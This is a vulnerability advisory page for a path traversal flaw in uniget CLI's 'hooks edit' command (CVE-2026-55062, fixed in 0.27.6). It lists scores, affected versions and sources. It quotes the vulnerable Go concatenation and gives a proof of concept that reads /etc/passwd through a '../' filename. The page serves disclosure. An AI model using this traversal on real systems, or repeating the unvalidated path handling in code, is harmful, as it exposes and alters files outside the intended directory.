8.4high
uniget: Path Traversal in Hook Files - Directory Escape Vulnerability
- Severity
- 8.4high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.19% (higher than 9% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-m6jg-wr9m-cg2fGO-2026-6247
Description
uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go concatenates an unvalidated hook filename with the selected hooks directory, allowing parent-directory components to escape that directory. The resulting path is passed to the configured editor, which can access or modify files outside the hooks directory with the privileges of the uniget process account. This issue is fixed in version 0.27.6.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| uniget-org cli | < 0.27.6 | CVE List |
| gitlab.com/uniget-org/cli (Go) | before 0.27.6 | GitHub Advisory Database, Go Vulnerability Database |
All scores
| GitHub_M | 8.4high CVSS:4.0 | CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |
Classification
What each source says
CVE List
uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go concatenates an unvalidated hook filename with the selected hooks directory, allowing parent-directory components to escape that directory. The resulting path is passed to the configured editor, which can access or modify files outside the hooks directory with the privileges of the uniget process account. This issue is fixed in version 0.27.6.
GitHub Advisory Database
Summary
Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.
Details
File: hooks.go Lines 135-160
hookFileName := args[0] // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation
Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
PoC
Step 1: Set cat as editor
export EDITOR="cat"
Step 2: Read /etc/passwd via path traversal
./uniget hooks edit --type=pre-install "../../../../etc/passwd"
Step 3: Output shows file contents
root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
imageGo Vulnerability Database
uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability in gitlab.com/uniget-org/cli
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-55062 changed 2026-09-23 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-m6jg-wr9m-cg2f changed 2026-08-18 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-6247 changed 2026-08-18 | CC-BY-4.0 |
| NVD | CVE-2026-55062 changed 2026-09-30 | Public domain |